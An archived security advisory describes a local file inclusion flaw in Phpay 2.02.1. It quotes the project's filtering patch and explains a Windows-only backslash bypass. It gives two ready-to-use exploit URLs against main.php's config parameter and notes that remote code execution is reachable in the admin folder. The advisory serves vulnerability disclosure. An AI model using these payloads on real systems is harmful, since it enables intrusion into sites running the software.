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TUCoPS :: Web :: PHP :: bx1092.htm

Phpay - Local File Inclusion



Phpay - Local File Inclusion
Phpay - Local File Inclusion



By Michael Brooks=0D
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Vulnerability Type:Local File Inclusion=0D
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Software: Phpay=0D
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Homepage:http://sourceforge.net/projects/phpay/=0D 
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Version Affected:2.02.1=0D
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Phpay has been affected by multiple local file include flaws, as a result this patch was written:=0D
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$config = ereg_replace(":","", $config);=0D
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$config = trim(ereg_replace("../","", $config));=0D
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$config = trim(ereg_replace("/","", $config));=0D
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if (($config=="")|| (!eregi(".inc.php",$config))){$config="config.inc.php"; echo "\n";}=0D
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if (!file_exists("$config")) { echo "panic: $config doesn't exist!! Did you backup it after installation? ..."; exit;}=0D
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require("./$config");=0D
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To bypass this patch backslashes can be used instead of forward slashes on windows systems.  =0D
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Also .inc.php must exists *somewhere* in the string.=0D
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Local File Include for windows only:=0D
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http://localhost/phpayv2.02a/main.php?config=eregi.inc.php\\..\\admin\\.htaccess=0D 
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or if magic_quotes_gpc is turned on:=0D
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http://localhost/phpayv2.02a/main.php?config=eregi.inc.php\..\admin\.htaccess=0D 
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Remote code execution is accessible in the ./admin/ folder. =0D
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The admin folder *should* be protected by a .htaccess file similar to osCommerce2. =0D
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Vulnerable configuration:=0D
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A there is a call to extract($_GET) so the exploit will work regardless of register_globals.  Using Linux is a very good fix for this issue. =0D
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Merry Christmas=0D


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